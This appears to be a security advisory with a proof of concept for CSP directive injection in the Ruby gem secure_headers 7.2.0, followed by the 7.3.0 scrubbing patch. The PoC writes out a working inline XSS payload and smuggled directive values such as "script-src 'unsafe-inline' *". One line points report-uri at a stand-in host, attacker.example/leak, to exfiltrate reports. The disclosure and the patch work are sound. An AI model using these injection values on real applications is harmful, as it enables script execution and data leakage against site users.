Details
Proof of concept
Pinned reproduction against a minimal Rack app on secure_headers 7.2.0, rack 3.2.6, rackup 2.3.1, webrick 1.9.2. Browser verification uses headless Chromium.
Install (Bundler):
# Gemfile
source "https://rubygems.org"
gem "secure_headers", "= 7.2.0"
gem "rack", "= 3.2.6"
gem "rackup", "= 2.3.1"
gem "webrick", "= 1.9.2"
bundle install
Driver (poc_e2e.rb):
require "rack"
require "webrick"
require "rackup"
require "rackup/handler/webrick"
require "secure_headers"
SecureHeaders::Configuration.default do |c|
c.csp = {default_src: %w('self'), script_src: %w('self'), style_src: %w('self')}
end
INLINE_XSS = "<script>document.body.appendChild(Object.assign(" \
"document.createElement('div'),{id:'pwn',innerText:" \
"'XSS-EXECUTED via '+location.pathname}));</script>"
class App
def call(env)
req = Rack::Request.new(env)
case req.path_info
when "/sandbox" # Vector A
SecureHeaders.override_content_security_policy_directives(req,
sandbox: ["allow-scripts allow-same-origin; script-src 'unsafe-inline' *"])
when "/plugin" # Vector B
SecureHeaders.override_content_security_policy_directives(req,
plugin_types: ["application/x-foo; script-src 'unsafe-inline' *"])
when "/report" # Vector C (report-uri exfil)
SecureHeaders.override_content_security_policy_directives(req,
report_to: "default; report-uri https://attacker.example/leak")
when "/control" # Negative — same payload on a source_list directive
SecureHeaders.override_content_security_policy_directives(req,
frame_src: ["'self'", "evil.example; script-src 'unsafe-inline' *"])
end
body = "<!doctype html>#{INLINE_XSS}"
[200, {"content-type"=>"text/html"}.merge(SecureHeaders.header_hash_for(req)), [body]]
end
end
Rackup::Handler::WEBrick.run(
Rack::Builder.new { use SecureHeaders::Middleware; run App.new },
Host: "127.0.0.1", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))
Run:
bundle exec ruby poc_e2e.rb
End-to-end reproduction against secure_headers 7.2.0
Server-side observation (curl -s -D - http://127.0.0.1:14567/<path>):
GET /sandbox -> content-security-policy:
default-src 'self'; sandbox allow-scripts allow-same-origin;
script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'
GET /plugin -> content-security-policy:
default-src 'self'; plugin-types application/x-foo;
script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'
GET /report -> content-security-policy:
default-src 'self'; script-src 'self'; style-src 'self';
report-to default; report-uri https://attacker.example/leak
GET /control -> content-security-policy:
default-src 'self'; frame-src 'self' evil.example script-src
'unsafe-inline' *; script-src 'self'; style-src 'self'
Browser verification (headless Chromium, --dump-dom, grep for the injected id="pwn" element which is only present if the inline <script> actually ran):
GET /sandbox -> pwn element PRESENT (XSS executed, injected script-src wins)
GET /plugin -> pwn element PRESENT (XSS executed, injected script-src wins)
GET /report -> pwn element absent (this vector enables report-uri exfil,
not script execution by itself)
GET /control -> pwn element absent (existing scrub on the source-list
builder rewrites ; -> space, so the
legitimate `script-src 'self'` is
still the first match)
Patched-build verification: applying the patch and re-running the same three vectors flips /sandbox and /plugin to "pwn element absent". The injected ; is replaced with a space, so the trailing script-src 'unsafe-inline' * collapses into the parent directive's value list instead of becoming a sibling directive, and the legitimate script-src 'self' stays the first script-src the parser encounters.
Patch
Shipped in 7.3.0 as a private helper that scrubs ;, \r, and \n from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.
Sketch of the shipped change in lib/secure_headers/headers/content_security_policy.rb:
DIRECTIVE_INJECTION_REGEX = /[\n\r;]/.freeze
def scrub_directive_value(directive, value)
str = value.to_s
if str =~ DIRECTIVE_INJECTION_REGEX
Kernel.warn("#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.")
str.gsub(DIRECTIVE_INJECTION_REGEX, " ")
else
str
end
end
The helper is invoked from each builder against the joined directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.
See the merged fix PR for the full patch and tests.
Credit
Reported by @tonghuaroot.
Resources
- CVE-2020-5217 — prior
secure_headersadvisory for the same bug class onbuild_source_list_directive(the 2020 fix that motivated the helper this advisory extends). - W3C CSP Level 3 — Parse a serialized CSP — defines the first-occurrence rule that makes the alphabetical-ordering exploit work.
- RFC 7230 §3.2.4 — Field parsing — context for why bare
\r/\nin HTTP header values are unsafe regardless of directive separator semantics.